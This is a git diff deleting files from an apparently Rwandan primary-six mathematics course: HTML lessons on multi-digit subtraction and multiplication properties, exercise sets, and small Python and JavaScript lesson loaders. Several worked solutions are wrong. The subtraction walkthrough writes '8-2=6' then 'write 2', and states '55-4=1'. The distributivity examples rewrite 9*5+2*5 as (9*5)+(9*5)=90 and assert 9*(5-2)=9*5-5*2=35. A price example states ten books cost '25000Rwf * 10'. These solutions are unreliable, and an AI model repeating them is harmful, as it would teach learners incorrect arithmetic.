-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 7 minus 3=4, Wriite 4 under ones place values.
- <br />
- 4-4=0, Write 0 under Tens.
- <br />
- 5-2=3, Write 3 under Hundreds.
- <br />
- 3-0=3, Write 3 under Thousands.
- <br />
- 8-2=6, Write 6 under Ten Thousands.
- <br />
- 7-5=2, write 2 under Hundred Thousands.
- <br />
- About 6, you bring it down under millions.
- <br />
- <br />
- Example 2: 5908568-4766479=
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Millions
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Thousands
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Units
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    10
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    15
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    18
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    9
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td colspan="9" width="11%" valign="top">
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    2
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 8-9 is not possible because 8 is the smallest, borrow one tens and we get 10 ones plus 8 ones we get 18 ones.
- <br />
- 18-9=9, write 9 under ones.
- <br />
- <br />
- After borrowing one tens, we remin with 5 tens, 5-7 is not possible, we borrrow 1 hundreds to get 10 tens.
- <br />
- 10+5=15 tens
- <br />
- 15-7=8 tens,
- <br />
- Write 8 under tens place values.
- <br />
- <br />
- In hundreds column, we have 4-4=0, 0 is written under hundreds place values.
- <br />
- 8-2=6 , write 2 under thousands.
- <br />
- <br />
- 0-6 is not pssible because 0 is less than 6, we borrow 1 from hundreds thousands and we 10 tens thusands plus 0 we get 10 tens thousands minus 6 ten thousands we get and 4 is wrtten under te thousands.
- <br />
- <br />
- After borrowing 1 hundred thousands, we remain with 8 hundred thousands minua 7 equals 1 and write 1 under hundred thousnds.
- <br />
- 55-4=1, write 1 under one millions.
- <br />
- <br />
- Notes: Iff you subtrat numbers, subtract from right to the left. When the digit
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a04/a.txt b/Save_Mathematics/P6/map611m05/map611m05a04/a.txt
deleted file mode 100644
index 6c73c90..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a04/a.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- Evaluation
-</p>
-<p>
- Subtract the following:
- <br />
- a. 325453
- <br />
- <span style="text-decoration: underline;">
-  -87624
- </span>
- <br />
- <br />
- b. 614584
- <br />
- <span style="text-decoration: underline;">
-  -81734
- </span>
- <br />
- <br />
- c. 762651
- <br />
- <span style="text-decoration: underline;">
-  - 367163
- </span>
- <br />
- <br />
- d. 756384789
- <br />
- <span style="text-decoration: underline;">
-  -57384654
- </span>
- <br />
- <br />
- e. 9387567282
- <br />
- <span style="text-decoration: underline;">
-  - 8657484939
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a04/description.py b/Save_Mathematics/P6/map611m05/map611m05a04/description.py
deleted file mode 100644
index 69fe5d9..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m05a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m05/map611m05a04/lesson.js b/Save_Mathematics/P6/map611m05/map611m05a04/lesson.js
deleted file mode 100644
index 626ad91..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m05/map611m05a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m05/map611m05a04/source.txt b/Save_Mathematics/P6/map611m05/map611m05a04/source.txt
deleted file mode 100644
index 6c73c90..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a04/source.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- Evaluation
-</p>
-<p>
- Subtract the following:
- <br />
- a. 325453
- <br />
- <span style="text-decoration: underline;">
-  -87624
- </span>
- <br />
- <br />
- b. 614584
- <br />
- <span style="text-decoration: underline;">
-  -81734
- </span>
- <br />
- <br />
- c. 762651
- <br />
- <span style="text-decoration: underline;">
-  - 367163
- </span>
- <br />
- <br />
- d. 756384789
- <br />
- <span style="text-decoration: underline;">
-  -57384654
- </span>
- <br />
- <br />
- e. 9387567282
- <br />
- <span style="text-decoration: underline;">
-  - 8657484939
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a05/a.txt b/Save_Mathematics/P6/map611m05/map611m05a05/a.txt
deleted file mode 100644
index 27f2bba..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a05/a.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- <strong>
-  Remedial
- </strong>
-</p>
-<p>
- 1) Add the following:
- <br />
- a. 336820
- <br />
- <span style="text-decoration: underline;">
-  + 551309
- </span>
- <br />
- <br />
- b. 235623
- <br />
- <span style="text-decoration: underline;">
-  + 529709
- </span>
- <br />
- <br />
- 2) Subtract the following:
- <br />
- <br />
- a. 845649
- <br />
- <span style="text-decoration: underline;">
-  - 549607
- </span>
- <br />
- <br />
- b. 719617
- <br />
- <span style="text-decoration: underline;">
-  - 623226
- </span>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a05/description.py b/Save_Mathematics/P6/map611m05/map611m05a05/description.py
deleted file mode 100644
index b7152b9..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m05a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m05/map611m05a05/lesson.js b/Save_Mathematics/P6/map611m05/map611m05a05/lesson.js
deleted file mode 100644
index ab18f60..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m05/map611m05a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m05/map611m05a05/source.txt b/Save_Mathematics/P6/map611m05/map611m05a05/source.txt
deleted file mode 100644
index 27f2bba..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a05/source.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- <strong>
-  Remedial
- </strong>
-</p>
-<p>
- 1) Add the following:
- <br />
- a. 336820
- <br />
- <span style="text-decoration: underline;">
-  + 551309
- </span>
- <br />
- <br />
- b. 235623
- <br />
- <span style="text-decoration: underline;">
-  + 529709
- </span>
- <br />
- <br />
- 2) Subtract the following:
- <br />
- <br />
- a. 845649
- <br />
- <span style="text-decoration: underline;">
-  - 549607
- </span>
- <br />
- <br />
- b. 719617
- <br />
- <span style="text-decoration: underline;">
-  - 623226
- </span>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a06/a.txt b/Save_Mathematics/P6/map611m05/map611m05a06/a.txt
deleted file mode 100644
index 528ffbe..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a06/a.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- <strong>
-  Enrichment
- </strong>
-</p>
-<p>
- a. Subtract 642865 from 958772
- <br />
- b. What is the difference between 7654210 and 4567932?
- <br />
- c. In the Band they were 2,986,740 francs , if the Bank gave out 1,876,900 francs as loans, how much money remained in the Bank?
- <br />
- <br />
- d. What is ninety-two million seven hundred and nine take away seventy-nine million eight hundred thousand and fifty.
- <br />
- <br />
- e. What should be added to 788455 to make 12434965 ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a06/description.py b/Save_Mathematics/P6/map611m05/map611m05a06/description.py
deleted file mode 100644
index 560994a..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m05a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m05/map611m05a06/lesson.js b/Save_Mathematics/P6/map611m05/map611m05a06/lesson.js
deleted file mode 100644
index 0ebac56..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m05/map611m05a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m05/map611m05a06/source.txt b/Save_Mathematics/P6/map611m05/map611m05a06/source.txt
deleted file mode 100644
index 528ffbe..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a06/source.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- <strong>
-  Enrichment
- </strong>
-</p>
-<p>
- a. Subtract 642865 from 958772
- <br />
- b. What is the difference between 7654210 and 4567932?
- <br />
- c. In the Band they were 2,986,740 francs , if the Bank gave out 1,876,900 francs as loans, how much money remained in the Bank?
- <br />
- <br />
- d. What is ninety-two million seven hundred and nine take away seventy-nine million eight hundred thousand and fifty.
- <br />
- <br />
- e. What should be added to 788455 to make 12434965 ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/activities.js b/Save_Mathematics/P6/map611m06/activities.js
deleted file mode 100755
index 12ca558..0000000
--- a/Save_Mathematics/P6/map611m06/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m06a01','blue'],
-['2','2','map6','basic','map611m06a02','blue'],
-['3','3','map6','basic','map611m06a03','blue'],
-['4','4','map6','basic','map611m06a04','blue'],
-['5','5','map6','basic','map611m06a05','blue'],
-['6','6','map6','basic','map611m06a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m06/map611m06a01/a.txt b/Save_Mathematics/P6/map611m06/map611m06a01/a.txt
deleted file mode 100644
index 571dc7f..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a01/a.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-<p>
- <strong>
-  INTRODUCTION:
- </strong>
-</p>
-<p>
- Being a seller or buyer you have to kno0w the quantity of your products, you have also to know the price of each product. Being a seller or buyer you are required to take quantity times the price in order to be able to know exactly the amount of money that you have to be paid or to pay. For instance if one book costs 2500Rwf, ten books will cost 25000Rwf * 10. In this situation, it is possible to multiply the unit price by the quantity or you can multiply the quantity by the unit price and the amount remain the same. Thus we have the commutative property of the multiplication.
- <br />
- <br />
- In one hand you can multiply three numbers by grouping two from left to right of from right to the left and the answer remain the same. Thus we have the associative property of multiplication.
- <br />
- <br />
- On the other hand, you can buy different products at the same price for example, if the price of one pen is 100Rwf and the price of 1kg of tomatoes is also 100Rwf, if you buy 50 pens and 10kg of tomatoes, you can add the quantity and then multiply the price. Thus we have the distributivity of multiplication in relation to the addition.
- <br />
- <br />
- When you buy and you use product at the same price that means you get and you loose(spend). It is very easy to identify the value of the remaining products.
- <br />
- Because the price is the same you can find the difference between products and multiply by the given price.
- <br />
- <br />
- In this milestone we will learn the multiplication of numbers without changing the position and then the commutativity when the position is changed and associativity when two numbers are grouping together from left or from right.
- <br />
- We will learn also the distributivity of multiplication in relation to the addition or subtraction at the same time.
- <br />
- <br />
- So let us invite you to look together the following examples:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  If one mobile phone costs 42,500Rwf, how much money 5 mobile phones will take.
- </li>
- <li>
-  Kamana sold 59kg of rice on Friday and 40kg on the next Friday. If the price for each kg is 540Rwf, how much money did he spend altogether?
- </li>
-</ul>
-<ul>
- <li>
-  A man built 35 houses for selling in 2009 and then in 2010 he sold 19 houses. If the price for one house is about 950,000Rwf, how much did he get?
- </li>
-</ul>
-<p>
- Are you able to provide the answers to those questions?
- <br />
- If not, no worry at the end of this milestone you will be able to provide the answers of such kind of questions.
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a01/description.py b/Save_Mathematics/P6/map611m06/map611m06a01/description.py
deleted file mode 100644
index f8939ad..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m06a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m06/map611m06a01/lesson.js b/Save_Mathematics/P6/map611m06/map611m06a01/lesson.js
deleted file mode 100644
index f7a5db2..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m06/map611m06a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m06/map611m06a01/source.txt b/Save_Mathematics/P6/map611m06/map611m06a01/source.txt
deleted file mode 100644
index 571dc7f..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a01/source.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-<p>
- <strong>
-  INTRODUCTION:
- </strong>
-</p>
-<p>
- Being a seller or buyer you have to kno0w the quantity of your products, you have also to know the price of each product. Being a seller or buyer you are required to take quantity times the price in order to be able to know exactly the amount of money that you have to be paid or to pay. For instance if one book costs 2500Rwf, ten books will cost 25000Rwf * 10. In this situation, it is possible to multiply the unit price by the quantity or you can multiply the quantity by the unit price and the amount remain the same. Thus we have the commutative property of the multiplication.
- <br />
- <br />
- In one hand you can multiply three numbers by grouping two from left to right of from right to the left and the answer remain the same. Thus we have the associative property of multiplication.
- <br />
- <br />
- On the other hand, you can buy different products at the same price for example, if the price of one pen is 100Rwf and the price of 1kg of tomatoes is also 100Rwf, if you buy 50 pens and 10kg of tomatoes, you can add the quantity and then multiply the price. Thus we have the distributivity of multiplication in relation to the addition.
- <br />
- <br />
- When you buy and you use product at the same price that means you get and you loose(spend). It is very easy to identify the value of the remaining products.
- <br />
- Because the price is the same you can find the difference between products and multiply by the given price.
- <br />
- <br />
- In this milestone we will learn the multiplication of numbers without changing the position and then the commutativity when the position is changed and associativity when two numbers are grouping together from left or from right.
- <br />
- We will learn also the distributivity of multiplication in relation to the addition or subtraction at the same time.
- <br />
- <br />
- So let us invite you to look together the following examples:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  If one mobile phone costs 42,500Rwf, how much money 5 mobile phones will take.
- </li>
- <li>
-  Kamana sold 59kg of rice on Friday and 40kg on the next Friday. If the price for each kg is 540Rwf, how much money did he spend altogether?
- </li>
-</ul>
-<ul>
- <li>
-  A man built 35 houses for selling in 2009 and then in 2010 he sold 19 houses. If the price for one house is about 950,000Rwf, how much did he get?
- </li>
-</ul>
-<p>
- Are you able to provide the answers to those questions?
- <br />
- If not, no worry at the end of this milestone you will be able to provide the answers of such kind of questions.
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a02/a.txt b/Save_Mathematics/P6/map611m06/map611m06a02/a.txt
deleted file mode 100644
index 8641d60..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a02/a.txt
+++ /dev/null
@@ -1,196 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example1:
- <br />
- &nbsp;4507
- <br />
- <span style="text-decoration: underline;">
-  * 5
-  <br />
- </span>
- 22535
-</p>
-<p>
- <br />
- <span style="font-weight: bold;">
-  procedures
- </span>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  5*7=35, we write 5 as ones and we carry 3 as tens.
- </li>
- <li>
-  5*0=0, we take 0 tens plus 3 tens we get 3 tens, write them in tens position
- </li>
- <li>
-  5*5=25, we write 5 in hundreds position and consider 2 as thousands.
- </li>
- <li>
-  5*4=20, we take 2 recorded plus 20 thousands =22, write 22 at the same time because there is not another factors.
- </li>
-</ul>
-<p>
- Example2:
- <br />
- 8769
- <br />
- <span style="text-decoration: underline;">
-  * 64
-  <br />
- </span>
- 35076
- <br />
- <span style="text-decoration: underline;">
-  52614
-  <br />
- </span>
- 561216
- <br />
- <br />
- <span style="font-weight: bold;">
-  procedures
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  4 is written under 7 which is a tens factor, 6 is called a tens if we consider the place values.
- </li>
-</ul>
-<p>
- For adding, you bring down six, and you continue the same process
- <br />
- <br />
- Example3: 9688
- <br />
- <span style="text-decoration: underline;">
-  *973
- </span>
- <br />
- 29064
- <br />
- 67816
- <br />
- <span style="text-decoration: underline;">
-  87192
-  <br />
- </span>
- 9426424.............&gt; Product
- <span style="text-decoration: underline;">
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  When you multiply using the factor which is hundreds in place value, you have to start writing from hundreds place value.
- </li>
-</ul>
-<p>
- Example4:
- <br />
- a. 15*4=60
- <br />
- b. 4*15=60
- <br />
- c. 281*2=562
- <br />
- d. 2*281=562
- <br />
- <br />
- <span style="font-weight: bold;">
-  Conclusion:
-  <br />
- </span>
- a.15*4=4*15=60
- <br />
- b. 281*2=2*281=562
- <br />
- When the position is changed, the product remains the same in multiplication.
- <br />
- <br />
- Example5:
- <br />
- a. (6*4)*2=6*4*2=48
- <br />
- b. 6*(4*2)=6*4*2=48
- <br />
- c. (6*2)*4=6*2*4=48
- <br />
- <br />
- <span style="font-weight: bold;">
-  Conclusion:
-  <br />
- </span>
- (6*4)*2=6*(4*2)=(6*2)*4=6*4*2=48
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes
- </span>
- : By grouping the numbers in different arrangements, the result stays the same.
- <br />
- <br />
- Example6: Give the answers of the following exercises:
- <br />
- <br />
- a. 15* (6+4)=
- <br />
- b. 9*5+2*5=
- <br />
- c. 15*(6-2)=
- <br />
- d. 9*5-5*2=
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Solutions
- </span>
- <br />
- <br />
- a. 15*(6+4)=15*10=150
- <br />
- OR
- <br />
- (15*6)+(15*4)=90+60=150
- <br />
- <br />
- b. 9*5 + 2*5=(9*5)+(9*5)=45+45=90
- <br />
- OR
- <br />
- 9*5+9*5=9*(5+5)=9*10=90
- <br />
- <br />
- c. 15*(6-2)=15*4=60
- <br />
- OR
- <br />
- 15*(6-2)=(15*6)-(15*2)=90-30=60
- <br />
- <br />
- d. 9*5-5*2=(9*5)-(5*2)=45-10=35
- <br />
- Therefore 9*(5-2)=9*5-5*2=35
- <br />
- <br />
- Notes: With distributive property of multiplication, in the blackets we use addition or subtraction only.
- <br />
- <br />
- 1) a*(b+c)=a*b+a*c
- <br />
- 2) a*(b-c)=a*b-a*c
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a02/description.py b/Save_Mathematics/P6/map611m06/map611m06a02/description.py
deleted file mode 100644
index 15db5ff..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m06a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m06/map611m06a02/lesson.js b/Save_Mathematics/P6/map611m06/map611m06a02/lesson.js
deleted file mode 100644
index a6e5114..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m06/map611m06a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m06/map611m06a02/source.txt b/Save_Mathematics/P6/map611m06/map611m06a02/source.txt
deleted file mode 100644
index 8641d60..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a02/source.txt
+++ /dev/null
@@ -1,196 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example1:
- <br />
- &nbsp;4507
- <br />
- <span style="text-decoration: underline;">
-  * 5
-  <br />
- </span>
- 22535
-</p>
-<p>
- <br />
- <span style="font-weight: bold;">
-  procedures
- </span>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  5*7=35, we write 5 as ones and we carry 3 as tens.
- </li>
- <li>
-  5*0=0, we take 0 tens plus 3 tens we get 3 tens, write them in tens position
- </li>
- <li>
-  5*5=25, we write 5 in hundreds position and consider 2 as thousands.
- </li>
- <li>
-  5*4=20, we take 2 recorded plus 20 thousands =22, write 22 at the same time because there is not another factors.
- </li>
-</ul>
-<p>
- Example2:
- <br />
- 8769
- <br />
- <span style="text-decoration: underline;">
-  * 64
-  <br />
- </span>
- 35076
- <br />
- <span style="text-decoration: underline;">
-  52614
-  <br />
- </span>
- 561216
- <br />
- <br />
- <span style="font-weight: bold;">
-  procedures
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  4 is written under 7 which is a tens factor, 6 is called a tens if we consider the place values.
- </li>
-</ul>
-<p>
- For adding, you bring down six, and you continue the same process
- <br />
- <br />
- Example3: 9688
- <br />
- <span style="text-decoration: underline;">
-  *973
- </span>
- <br />
- 29064
- <br />
- 67816
- <br />
- <span style="text-decoration: underline;">
-  87192
-  <br />
- </span>
- 9426424.............&gt; Product
- <span style="text-decoration: underline;">
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  When you multiply using the factor which is hundreds in place value, you have to start writing from hundreds place value.
- </li>
-</ul>
-<p>
- Example4:
- <br />
- a. 15*4=60
- <br />
- b. 4*15=60
- <br />
- c. 281*2=562
- <br />
- d. 2*281=562
- <br />
- <br />
- <span style="font-weight: bold;">
-  Conclusion:
-  <br />
- </span>
- a.15*4=4*15=60
- <br />
- b. 281*2=2*281=562
- <br />
- When the position is changed, the product remains the same in multiplication.
- <br />
- <br />
- Example5:
- <br />
- a. (6*4)*2=6*4*2=48
- <br />
- b. 6*(4*2)=6*4*2=48
- <br />
- c. (6*2)*4=6*2*4=48
- <br />
- <br />
- <span style="font-weight: bold;">
-  Conclusion:
-  <br />
- </span>
- (6*4)*2=6*(4*2)=(6*2)*4=6*4*2=48
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes
- </span>
- : By grouping the numbers in different arrangements, the result stays the same.
- <br />
- <br />
- Example6: Give the answers of the following exercises:
- <br />
- <br />
- a. 15* (6+4)=
- <br />
- b. 9*5+2*5=
- <br />
- c. 15*(6-2)=
- <br />
- d. 9*5-5*2=
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Solutions
- </span>
- <br />
- <br />
- a. 15*(6+4)=15*10=150
- <br />
- OR
- <br />
- (15*6)+(15*4)=90+60=150
- <br />
- <br />
- b. 9*5 + 2*5=(9*5)+(9*5)=45+45=90
- <br />
- OR
- <br />
- 9*5+9*5=9*(5+5)=9*10=90
- <br />
- <br />
- c. 15*(6-2)=15*4=60
- <br />
- OR
- <br />
- 15*(6-2)=(15*6)-(15*2)=90-30=60
- <br />
- <br />
- d. 9*5-5*2=(9*5)-(5*2)=45-10=35
- <br />
- Therefore 9*(5-2)=9*5-5*2=35
- <br />
- <br />
- Notes: With distributive property of multiplication, in the blackets we use addition or subtraction only.
- <br />
- <br />
- 1) a*(b+c)=a*b+a*c
- <br />
- 2) a*(b-c)=a*b-a*c
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a03/a.txt b/Save_Mathematics/P6/map611m06/map611m06a03/a.txt
deleted file mode 100644
index f12588f..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a03/a.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-<p>
- <strong>
-  Independent Practice
- </strong>
-</p>
-<p>
- 1. Multiply the following:
-</p>
-<p>
- a.
- <br />
- &nbsp;2402
- <br />
- <span style="text-decoration: underline;">
-  * 9
- </span>
- <br />
- <br />
- <br />
- b.
- <br />
- &nbsp;9682
- <br />
- <span style="text-decoration: underline;">
-  * 72
- </span>
- <br />
- <br />
- <br />
- c.
- <br />
- &nbsp;84208
- <br />
- <span style="text-decoration: underline;">
-  * 403
- </span>
- <br />
- <br />
- 2. With the commutative property of multiplication, complete the following:
- <br />
- <br />
- a. 105*........=29*105
- <br />
- b. 392*16=16*.......
- <br />
- c. 79*69=.......*79
- <br />
- d. 265*......=29*265
- <br />
- <br />
- 3. By taking two umbers groupe these numbers in different arrangements:
- <br />
- <br />
- a. 7*9*3=
- <br />
- b. (13*11)*15=
- <br />
- <br />
- 4. By using the associative property of muliplication, fill in the blank with the missing number the following:
- <br />
- <br />
- a. (9*4)*5=(........*5)*4
- <br />
- b. (10*11)*9=(.......*10)*11
- <br />
- c. 15*(7*40)=15*40*.........
- <br />
- d. (41*........)*4=41*(3*4)
- <br />
- <br />
- 5. Give the value of a in each of the following:
- <br />
